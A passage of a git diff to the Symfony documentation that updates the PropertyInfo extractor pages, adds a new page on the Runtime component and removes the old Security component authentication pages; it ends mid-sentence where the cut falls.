+489,25 @@ SerializerExtractor This extractor depends on the `symfony/serializer`_ library. -Using :ref:`groups metadata <serializer-using-serialization-groups-annotations>` -from the :doc:`Serializer component </components/serializer>`, -the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor` +Using :ref:`groups metadata <serializer-groups-attribute>` from the +:doc:`Serializer component </serializer>`, the +:class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor` provides list information. This extractor is *not* registered automatically with the ``property_info`` service in the Symfony Framework:: - use Doctrine\Common\Annotations\AnnotationReader; use Symfony\Component\PropertyInfo\Extractor\SerializerExtractor; use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; - $serializerClassMetadataFactory = new ClassMetadataFactory( - new AnnotationLoader(new AnnotationReader) - ); + $serializerClassMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); $serializerExtractor = new SerializerExtractor($serializerClassMetadataFactory); - // List information. - $serializerExtractor->getProperties($class); + // the `serializer_groups` option must be configured (may be set to null) + $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]); + +If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be +checked but you will get only the properties considered by the Serializer +Component (notably the ``#[Ignore]`` attribute is taken into account). DoctrineExtractor ~~~~~~~~~~~~~~~~~ @@ -466,6 +538,33 @@ with the ``property_info`` service in the Symfony Framework:: // Type information. $doctrineExtractor->getTypes($class, $property); +.. _components-property-information-constructor-extractor: + +ConstructorExtractor +~~~~~~~~~~~~~~~~~~~~ + +The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor` +tries to extract properties information by using either the +:class:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor` or +the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor` +on the constructor arguments:: + + // src/Domain/Foo.php + class Foo + { + public function __construct( + private string $bar, + ) { + } + } + + // Extraction.php + use App\Domain\Foo; + use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor; + + $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]); + $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string' + .. _`components-property-information-extractors-creation`: Creating Your Own Extractors @@ -473,6 +572,7 @@ Creating Your Own Extractors You can create your own property information extractors by creating a class that implements one or more of the following interfaces: +:class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorArgumentTypeExtractorInterface`, :class:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface`, :class:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface`, :class:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface`, @@ -490,9 +590,16 @@ service by defining it as a service with one or more of the following * ``property_info.access_extractor`` if it provides access information. * ``property_info.initializable_extractor`` if it provides initializable information (it checks if a property can be initialized through the constructor). +* ``property_info.constructor_extractor`` if it provides type information from the constructor argument. + + .. versionadded:: 7.3 + + The ``property_info.constructor_extractor`` tag was introduced in Symfony 7.3. +.. _`PSR-1`: https://www.php-fig.org/psr/psr-1/ .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock +.. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser .. _`Doctrine ORM`: https://www.doctrine-project.org/projects/orm.html .. _`symfony/serializer`: https://packagist.org/packages/symfony/serializer .. _`symfony/doctrine-bridge`: https://packagist.org/packages/symfony/doctrine-bridge diff --git a/components/psr7.rst b/components/psr7.rst index 2df3c6fc3af..04a3b9148b5 100644 --- a/components/psr7.rst +++ b/components/psr7.rst @@ -1,6 +1,3 @@ -.. index:: - single: PSR-7 - The PSR-7 Bridge ================ @@ -33,8 +30,8 @@ Converting from HttpFoundation Objects to PSR-7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The bridge provides an interface of a factory called -:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpMessageFactoryInterface` -that builds objects implementing PSR-7 interfaces from HttpFoundation objects. +`HttpMessageFactoryInterface`_ that builds objects implementing PSR-7 +interfaces from HttpFoundation objects. The following code snippet explains how to convert a :class:`Symfony\\Component\\HttpFoundation\\Request` to a ``Nyholm\Psr7\ServerRequest`` class implementing the @@ -69,8 +66,8 @@ Converting Objects implementing PSR-7 Interfaces to HttpFoundation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ On the other hand, the bridge provide a factory interface called -:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpFoundationFactoryInterface` -that builds HttpFoundation objects from objects implementing PSR-7 interfaces. +`HttpFoundationFactoryInterface`_ that builds HttpFoundation objects from +objects implementing PSR-7 interfaces. The next snippet explain how to convert an object implementing the ``Psr\Http\Message\ServerRequestInterface`` interface to a @@ -96,3 +93,5 @@ to a :class:`Symfony\\Component\\HttpFoundation\\Response` instance:: .. _`PSR-7`: https://www.php-fig.org/psr/psr-7/ .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/ .. _`libraries that implement psr/http-factory-implementation`: https://packagist.org/providers/psr/http-factory-implementation +.. _`HttpMessageFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpMessageFactoryInterface.php +.. _`HttpFoundationFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpFoundationFactoryInterface.php diff --git a/components/runtime.rst b/components/runtime.rst new file mode 100644 index 00000000000..770ea102563 --- /dev/null +++ b/components/runtime.rst @@ -0,0 +1,496 @@ +The Runtime Component +===================== + + The Runtime Component decouples the bootstrapping logic from any global state + to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_, + `Swoole`_, `FrankenPHP`_ etc. without any changes. + +Installation +------------ + +.. code-block:: terminal + + $ composer require symfony/runtime + +.. include:: /components/require_autoload.rst.inc + +Usage +----- + +The Runtime component abstracts most bootstrapping logic as so-called +*runtimes*, allowing you to write front-controllers in a generic way. +For instance, the Runtime component allows Symfony's ``public/index.php`` +to look like this:: + + // public/index.php + use App\Kernel; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return function (array $context): Kernel { + return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']); + }; + +So how does this front-controller work? At first, the special +``autoload_runtime.php`` file is automatically created by the Composer plugin in +the component. This file runs the following logic: + +#. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`; +#. The front-controller script (e.g. ``public/index.php``) is included by the + runtime, making it run again. Ensure this doesn't produce any side effects + in your code; +#. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job + is to resolve the arguments (in this example: ``array $context``); +#. Then, this callable is called to get the application (``App\Kernel``); +#. At last, the Runtime is used to run the application (i.e. calling + ``$kernel->handle(Request::createFromGlobals())->send()``). + +.. warning:: + + If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php`` + file won't be created. + + If you use the Composer ``--no-scripts`` option, make sure your Composer version + is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created. + +To make a console application, the bootstrap code would look like:: + + #!/usr/bin/env php + <?php + // bin/console + + use App\Kernel; + use Symfony\Bundle\FrameworkBundle\Console\Application; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return function (array $context): Application { + $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']); + + // returning an "Application" makes the Runtime run a Console + // application instead of the HTTP Kernel + return new Application($kernel); + }; + +Selecting Runtimes +------------------ + +The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`. It +works excellent on most applications running with a webserver using PHP-FPM like +Nginx or Apache. + +The component also provides a :class:`Symfony\\Component\\Runtime\\GenericRuntime`, +which uses PHP's ``$_SERVER``, ``$_POST``, ``$_GET``, ``$_FILES`` and +``$_SESSION`` superglobals. You may also use a custom Runtime (e.g. to +integrate with Swoole or AWS Lambda). + +Use the ``APP_RUNTIME`` environment variable or by specifying the +``extra.runtime.class`` in ``composer.json`` to change the Runtime class: + +.. code-block:: json + + { + "require": { + "...": "..." + }, + "extra": { + "runtime": { + "class": "Symfony\\Component\\Runtime\\GenericRuntime" + } + } + } + +If modifying the runtime class isn't enough, you can create your own runtime template: + +.. code-block:: json + + { + "require": { + "...": "..." + }, + "extra": { + "runtime": { + "autoload_template": "resources/runtime/autoload_runtime.template" + } + } + } + +Symfony provides a `runtime template file`_ that you can use to create your own. + +Using the Runtime +----------------- + +A Runtime is responsible for passing arguments into the closure and run the +application returned by the closure. The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` and +:class:`Symfony\\Component\\Runtime\\GenericRuntime` supports a number of +arguments and different applications that you can use in your +front-controllers. + +Resolvable Arguments +~~~~~~~~~~~~~~~~~~~~ + +The closure returned from the front-controller may have zero or more arguments:: + + // public/index.php + use Symfony\Bundle\FrameworkBundle\Console\Application; + use Symfony\Component\Console\Input\InputInterface; + use Symfony\Component\Console\Output\OutputInterface; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return function (InputInterface $input, OutputInterface $output): Application { + // ... + }; + +The following arguments are supported by the ``SymfonyRuntime``: + +:class:`Symfony\\Component\\HttpFoundation\\Request` + A request created from globals. + +:class:`Symfony\\Component\\Console\\Input\\InputInterface` + An input to read options and arguments. + +:class:`Symfony\\Component\\Console\\Output\\OutputInterface` + Console output to print to the CLI with style. + +:class:`Symfony\\Component\\Console\\Application` + An application for creating CLI applications. + +:class:`Symfony\\Component\\Console\\Command\\Command` + For creating one line command CLI applications (using + ``Command::setCode()``). + +And these arguments are supported by both the ``SymfonyRuntime`` and +``GenericRuntime`` (both type and variable name are important): + +``array $context`` + This is the same as ``$_SERVER`` + ``$_ENV``. + +``array $argv`` + The arguments passed to the command (same as ``$_SERVER['argv']``). + +``array $request`` + With keys ``query``, ``body``, ``files`` and ``session``. + +Resolvable Applications +~~~~~~~~~~~~~~~~~~~~~~~ + +The application returned by the closure below is a Symfony Kernel. However, +a number of different applications are supported:: + + // public/index.php + use App\Kernel; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return static function (): Kernel { + return new Kernel('prod', false); + }; + +The ``SymfonyRuntime`` can handle these applications: + +:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface` + The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner` + like a "standard" Symfony application. + +:class:`Symfony\\Component\\HttpFoundation\\Response` + The Response will be printed by + :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner`:: + + // public/index.php + use Symfony\Component\HttpFoundation\Response; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return static function (): Response { + return new Response('Hello world'); + }; + +:class:`Symfony\\Component\\Console\\Command\\Command` + To write single command applications. This will use the + :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`:: + + use Symfony\Component\Console\Command\Command; + use Symfony\Component\Console\Input\InputInterface; + use Symfony\Component\Console\Output\OutputInterface; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return static function (Command $command): Command { + $command->setCode(static function (InputInterface $input, OutputInterface $output): void { + $output->write('Hello World'); + }); + + return $command; + }; + +:class:`Symfony\\Component\\Console\\Application` + Useful with console applications with more than one command. This will use the + :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`:: + + use Symfony\Component\Console\Application; + use Symfony\Component\Console\Command\Command; + use Symfony\Component\Console\Input\InputInterface; + use Symfony\Component\Console\Output\OutputInterface; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return static function (array $context): Application { + $command = new Command('hello'); + $command->setCode(static function (InputInterface $input, OutputInterface $output): void { + $output->write('Hello World'); + }); + + $app = new Application(); + $app->add($command); + $app->setDefaultCommand('hello', true); + + return $app; + }; + +The ``GenericRuntime`` and ``SymfonyRuntime`` also support these generic +applications: + +:class:`Symfony\\Component\\Runtime\\RunnerInterface` + The ``RunnerInterface`` is a way to use a custom application with the + generic Runtime:: + + // public/index.php + use Symfony\Component\Runtime\RunnerInterface; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return static function (): RunnerInterface { + return new class implements RunnerInterface { + public function run(): int + { + echo 'Hello World'; + + return 0; + } + }; + }; + +``callable`` + Your "application" can also be a ``callable``. The first callable will return + the "application" and the second callable is the "application" itself:: + + // public/index.php + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return static function (): callable { + $app = static function(): int { + echo 'Hello World'; + + return 0; + }; + + return $app; + }; + +``void`` + If the callable doesn't return anything, the ``SymfonyRuntime`` will assume + everything is fine:: + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return function (): void { + echo 'Hello world'; + }; + +Using Options +~~~~~~~~~~~~~ + +Some behavior of the Runtimes can be modified through runtime options. They +can be set using the ``APP_RUNTIME_OPTIONS`` environment variable:: + + $_SERVER['APP_RUNTIME_OPTIONS'] = [ + 'project_dir' => '/var/task', + ]; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + // ... + +You can also configure ``extra.runtime`` in ``composer.json``: + +.. code-block:: json + + { + "require": { + "...": "..." + }, + "extra": { + "runtime": { + "project_dir": "/var/task" + } + } + } + +Then, update your Composer files (running ``composer dump-autoload``, for instance), +so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new option. + +The following options are supported by the ``SymfonyRuntime``: + +``env`` (default: ``APP_ENV`` environment variable, or ``"dev"``) + To define the name of the environment the app runs in. +``disable_dotenv`` (default: ``false``) + To disable looking for ``.env`` files. +``dotenv_path`` (default: ``.env``) + To define the path of dot-env files. +``dotenv_overload`` (default: ``false``) + To tell Dotenv whether to override ``.env`` vars with ``.env.local`` (or other ``.env.*`` files) +``use_putenv`` + To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED). +``prod_envs`` (default: ``["prod"]``) + To define the names of the production envs. +``test_envs`` (default: ``["test"]``) + To define the names of the test envs. + +Besides these, the ``GenericRuntime`` and ``SymfonyRuntime`` also support +these options: + +``debug`` (default: the value of the env var defined by ``debug_var_name`` option + (usually, ``APP_DEBUG``), or ``true`` if such env var is not defined) + Toggles the :ref:`debug mode <debug-mode>` of Symfony applications (e.g. to + display errors) +``runtimes`` + Maps "application types" to a ``GenericRuntime`` implementation that + knows how to deal with each of them. +``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``) + Defines the class to use to handle PHP errors. +``env_var_name`` (default: ``"APP_ENV"``) + Defines the name of the env var that stores the name of the + :ref:`configuration environment <configuration-environments>` + to use when running the application. +``debug_var_name`` (default: ``"APP_DEBUG"``) + Defines the name of the env var that stores the value of the + :ref:`debug mode <debug-mode>` flag to use when running the application. + +Create Your Own Runtime +----------------------- + +This is an advanced topic that describes the internals of the Runtime component. + +Using the Runtime component will benefit maintainers because the bootstrap +logic could be versioned as a part of a normal package. If the application +author decides to use this component, the package maintainer of the Runtime +class will have more control and can fix bugs and add features. + +The Runtime component is designed to be totally generic and able to run any +application outside of the global state in 6 steps: + +#. The main entry point returns a *callable* (the "app") that wraps the application; +#. The *app callable* is passed to ``RuntimeInterface::getResolver()``, which returns + a :class:`Symfony\\Component\\Runtime\\ResolverInterface`. This resolver returns + an array with the app callable (or something that decorates this callable) at + index 0 and all its resolved arguments at index 1. +#. The *app callable* is invoked with its arguments, it will return an object that + represents the application. +#. This *application object* is passed to ``RuntimeInterface::getRunner()``, which + returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance + that knows how to "run" the application object. +#. The ``RunnerInterface::run(object $application)`` is called and it returns the + exit status code as ``int``. +#. The PHP engine is terminated with this status code. + +When creating a new runtime, there are two things to consider: First, what arguments +will the end user use? Second, what will the user's application look like? + +For instance, imagine you want to create a runtime for `ReactPHP`_: + +**What arguments will the end user use?** + +For a generic ReactPHP application, no special arguments are +typically required. This means that you can use the +:class:`Symfony\\Component\\Runtime\\GenericRuntime`. + +**What will the user's application look like?** + +There is also no typical React application, so you might want to rely on +the `PSR-15`_ interfaces for HTTP request handling. + +However, a ReactPHP application will need some special logic to *run*. That logic +is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`:: + + use Psr\Http\Message\ResponseInterface; + use Psr\Http\Message\ServerRequestInterface; + use Psr\Http\Server\RequestHandlerInterface; + use React\EventLoop\Factory as ReactFactory; + use React\Http\Server as ReactHttpServer; + use React\Socket\Server as ReactSocketServer; + use Symfony\Component\Runtime\RunnerInterface; + + class ReactPHPRunner implements RunnerInterface + { + public function __construct( + private RequestHandlerInterface $application, + private int $port, + ) { + } + + public function run(): int + { + $application = $this->application; + $loop = ReactFactory::create(); + + // configure ReactPHP to correctly handle the PSR-15 application + $server = new ReactHttpServer( + $loop, + function (ServerRequestInterface $request) use ($application): ResponseInterface { + return $application->handle($request); + } + ); + + // start the ReactPHP server + $socket = new ReactSocketServer($this->port, $loop); + $server->listen($socket); + + $loop->run(); + + return 0; + } + } + +By extending the ``GenericRuntime``, you make sure that the application is +always using this ``ReactPHPRunner``:: + + use Symfony\Component\Runtime\GenericRuntime; + use Symfony\Component\Runtime\RunnerInterface; + + class ReactPHPRuntime extends GenericRuntime + { + private int $port; + + public function __construct(array $options) + { + $this->port = $options['port'] ?? 8080; + parent::__construct($options); + } + + public function getRunner(?object $application): RunnerInterface + { + if ($application instanceof RequestHandlerInterface) { + return new ReactPHPRunner($application, $this->port); + } + + // if it's not a PSR-15 application, use the GenericRuntime to + // run the application (see "Resolvable Applications" above) + return parent::getRunner($application); + } + } + +The end user will now be able to create front controller like:: + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + + return function (array $context): SomeCustomPsr15Application { + return new SomeCustomPsr15Application(); + }; + +.. _PHP-PM: https://github.com/php-pm/php-pm +.. _Swoole: https://openswoole.com/ +.. _FrankenPHP: https://frankenphp.dev/ +.. _ReactPHP: https://reactphp.org/ +.. _`PSR-15`: https://www.php-fig.org/psr/psr-15/ +.. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template diff --git a/components/security.rst b/components/security.rst deleted file mode 100644 index 9985b611c63..00000000000 --- a/components/security.rst +++ /dev/null @@ -1,65 +0,0 @@ -.. index:: - single: Security - -The Security Component -====================== - - The Security component provides a complete security system for your web - application. It ships with facilities for authenticating using HTTP basic - authentication, interactive form login or X.509 certificate login, but also - allows you to implement your own authentication strategies. Furthermore, the - component provides ways to authorize authenticated users based on their - roles. - -Installation ------------- - -The Security component is divided into several smaller sub-components which can -be used separately: - -``symfony/security-core`` - It provides all the common security features, from authentication to - authorization and from encoding passwords to loading users. - -``symfony/security-http`` - It integrates the core sub-component with the HTTP protocol to handle HTTP - requests and responses. - -``symfony/security-csrf`` - It provides protection against `CSRF attacks`_. - -``symfony/security-guard`` - It brings many layers of authentication together, allowing the creation - of complex authentication systems. - -You can install each of them separately in your project: - -.. code-block:: terminal - - $ composer require symfony/security-core - $ composer require symfony/security-http - $ composer require symfony/security-csrf - $ composer require symfony/security-guard - -.. include:: /components/require_autoload.rst.inc - -.. seealso:: - - This article explains how to use the Security features as an independent - component in any PHP application. Read the :doc:`/security` article to learn - about how to use it in Symfony applications. - -Learn More ----------- - -.. toctree:: - :maxdepth: 1 - :glob: - - /components/security/* - /security - /security/* - /reference/configuration/security - /reference/constraints/UserPassword - -.. _`CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery diff --git a/components/security/authentication.rst b/components/security/authentication.rst deleted file mode 100644 index f98be723749..00000000000 --- a/components/security/authentication.rst +++ /dev/null @@ -1,327 +0,0 @@ -.. index:: - single: Security, Authentication - -Authentication -============== - -When a request points to a secured area, and one of the listeners from the -firewall map is able to extract the user's credentials from the current -:class:`Symfony\\Component\\HttpFoundation\\Request` object, it should create -a token, containing these credentials. The next thing the listener should -do is ask the authentication manager to validate the given token, and return -an *authenticated* token if the supplied credentials were found to be valid. -The listener should then store the authenticated token using -:class:`the token storage <Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface>`:: - - use Symfony\Component\HttpKernel\Event\RequestEvent; - use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface; - use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; - use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; - - class SomeAuthenticationListener - { - /** - * @var TokenStorageInterface - */ - private $tokenStorage; - - /** - * @var AuthenticationManagerInterface - */ - private $authenticationManager; - - /** - * @var string Uniquely identifies the secured area - */ - private $providerKey; - - // ... - - public function __invoke(RequestEvent $event) - { - $request = $event->getRequest(); - - $username = ...; - $password = ...; - - $unauthenticatedToken = new UsernamePasswordToken( - $username, - $password, - $this->providerKey - ); - - $authenticatedToken = $this - ->authenticationManager - ->authenticate($unauthenticatedToken); - - $this->tokenStorage->setToken($authenticatedToken); - } - } - -.. note:: - - A token can be of any class, as long as it implements - :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`. - -The Authentication Manager --------------------------- - -The default authentication manager is an instance of -:class:`Symfony\\Component\\Security\\Core\\Authentication\\AuthenticationProviderManager`:: - - use Symfony\Component\Security\Core\Authentication\AuthenticationProviderManager; - use Symfony\Component\Security\Core\Exception\AuthenticationException; - - // instances of Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface - $providers = [...]; - - $authenticationManager = new AuthenticationProviderManager($providers); - - try { - $authenticatedToken = $authenticationManager - ->authenticate($unauthenticatedToken); - } catch (AuthenticationException $exception) { - // authentication failed - } - -The ``AuthenticationProviderManager``, when instantiated, receives several -authentication providers, each supporting a different type of token. - -.. note:: - - You may write your own authentication manager, the only requirement is that - it implements :class:`Symfony\\Component\\Security\\Core\\Authentication\\AuthenticationManagerInterface`. - -.. _authentication_providers: - -Authentication Providers ------------------------- - -Each provider (since it implements -:class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`) -has a :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::supports` method -by which the ``AuthenticationProviderManager`` -can determine if it supports the given token. If this is the case, the -manager then calls the provider's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::authenticate` method. -This method should return an authenticated token or throw an -:class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException` -(or any other exception extending it). - -Authenticating Users by their Username and Password -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -An authentication provider will attempt to authenticate a user based on -the credentials they provided. Usually these are a username and a password. -Most web applications store their user's username and a hash of the user's -password combined with a randomly generated salt. This means that the average -authentication would consist of fetching the salt and the hashed password -from the user data storage, hash the password the user has just provided -(e.g. using a login form) with the salt and compare both to determine if -the given password is valid. - -This functionality is offered by the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`. -It fetches the user's data from a :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`, -uses a :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface` -to create a hash of the password and returns an authenticated token if the -password was valid:: - - use Symfony\Component\Security\Core\Authentication\Provider\DaoAuthenticationProvider; - use Symfony\Component\Security\Core\Encoder\EncoderFactory; - use Symfony\Component\Security\Core\User\InMemoryUserProvider; - use Symfony\Component\Security\Core\User\UserChecker; - - $userProvider = new InMemoryUserProvider( - [ - 'admin' => [ - // password is "foo" - 'password' => '5FZ2Z8QIkA7UTZ4BYkoC+GsReLf569mSKDsfods6LYQ8t+a8EW9oaircfMpmaLbPBh4FOBiiFyLfuZmTSUwzZg==', - 'roles' => ['ROLE_ADMIN'], - ], - ] - ); - - // for some extra checks: is account enabled, locked, expired, etc. - $userChecker = new UserChecker(); - - // an array of password encoders (see below) - $encoderFactory = new EncoderFactory(...); - - $daoProvider = new DaoAuthenticationProvider( - $userProvider, - $userChecker, - 'secured_area', - $encoderFactory - ); - - $daoProvider->authenticate($unauthenticatedToken); - -.. note:: - - The example above demonstrates the use of the "in-memory" user provider, - but you may use any user provider, as long as it implements - :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`. - It is also possible to let multiple user providers try to find the user's - data, using the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserProvider`. - -The Password Encoder Factory -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider` -uses an encoder factory to create a password encoder for a given type of -user. This allows you to use different encoding strategies for different -types of users. The default :class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory` -receives an array of encoders:: - - use Acme\Entity\LegacyUser; - use Symfony\Component\Security\Core\Encoder\EncoderFactory; - use Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder; - use Symfony\Component\Security\Core\User\User; - - $defaultEncoder = new MessageDigestPasswordEncoder('sha512', true, 5000); - $weakEncoder = new MessageDigestPasswordEncoder('md5', true, 1); - - $encoders = [ - User::class => $defaultEncoder, - LegacyUser::class => $weakEncoder, - // ... - ]; - $encoderFactory = new EncoderFactory($encoders); - -Each encoder should implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface` -or be an array with a ``class`` and an ``arguments`` key, which allows the -encoder factory to construct the encoder only when it is needed. - -Creating a custom Password Encoder -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -There are many built-in password encoders. But if you need to create your -own, it needs to follow these rules: - -#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface` - (you can also extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`); - -#. The implementations of - :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::encodePassword` - and - :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::isPasswordValid` - must first of all make sure the password is not too long, i.e. the password length is no longer - than 4096 characters. This is for security reasons (see `CVE-2013-5750`_), and you can use the - :method:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder::isPasswordTooLong` - method for this check:: - - use Symfony\Component\Security\Core\Encoder\BasePasswordEncoder; - use Symfony\Component\Security\Core\Exception\BadCredentialsException; - - class FoobarEncoder extends BasePasswordEncoder - { - public function encodePassword($raw, $salt) - { - if ($this->isPasswordTooLong($raw)) { - throw new BadCredentialsException('Invalid password.'); - } - - // ... - } - - public function isPasswordValid($encoded, $raw, $salt) - { - if ($this->isPasswordTooLong($raw)) { - return false; - } - - // ... - } - } - -Using Password Encoders -~~~~~~~~~~~~~~~~~~~~~~~ - -When the :method:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory::getEncoder` -method of the password encoder factory is called with the user object as -its first argument, it will return an encoder of type :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface` -which should be used to encode this user's password:: - - // a Acme\Entity\LegacyUser instance - $user = ...; - - // the password that was submitted, e.g. when registering - $plainPassword = ...; - - $encoder = $encoderFactory->getEncoder($user); - - // returns $weakEncoder (see above) - $encodedPassword = $encoder->encodePassword($plainPassword, $user->getSalt()); - - $user->setPassword($encodedPassword); - - // ... save the user - -Now, when you want to check if the submitted password (e.g. when trying to log -in) is correct, you can use:: - - // fetch the Acme\Entity\LegacyUser - $user = ...; - - // the submitted password, e.g. from the login form - $plainPassword = ...; - - $validPassword = $encoder->isPasswordValid( - $user->getPassword(), // the encoded password - $plainPassword, // the submitted password - $user->getSalt() - ); - -Authentication Events ---------------------- - -The security component provides the following authentication events: - -=============================== ================================================================= ============================================================================== -Name Event Constant Argument Passed to the Listener -=============================== ================================================================= ============================================================================== -security.authentication.success ``AuthenticationEvents::AUTHENTICATION_SUCCESS`` :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent` -security.authentication.failure ``AuthenticationEvents::AUTHENTICATION_FAILURE`` :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent` -security.interactive_login ``SecurityEvents::INTERACTIVE_LOGIN`` :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent` -security.switch_user ``SecurityEvents::SWITCH_USER`` :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` -security.logout_on_change ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent` -=============================== ================================================================= ============================================================================== - -Authentication Success and Failure Events -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -When a provider authenticates the user, a ``security.authentication.success`` -event is dispatched. But beware - this event may fire, for example, on *every* -request if you have session-based authentication, if ``always_authenticate_before_granting`` -is enabled or if token is not authenticated before AccessListener is invoked. -See ``security.interactive_login`` below if you need to do something when a user *actually* logs in. - -When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``), -a ``security.authentication.failure`` event is dispatched. You could listen on -the ``security.authentication.failure`` event, for example, in order to log -failed login attempts. - -Security Events -~~~~~~~~~~~~~~~ - -The ``security.interactive_login`` event is triggered after a user has actively -logged into your website. It is important to distinguish this action from -non-interactive authentication methods, such as: - -* authentication based on your session. -* authentication using a HTTP basic header. - -You could listen on the ``security.interactive_login`` event, for example, in -order to give your user a welcome flash message every time they log in. - -The ``security.switch_user`` event is triggered every time you activate -the 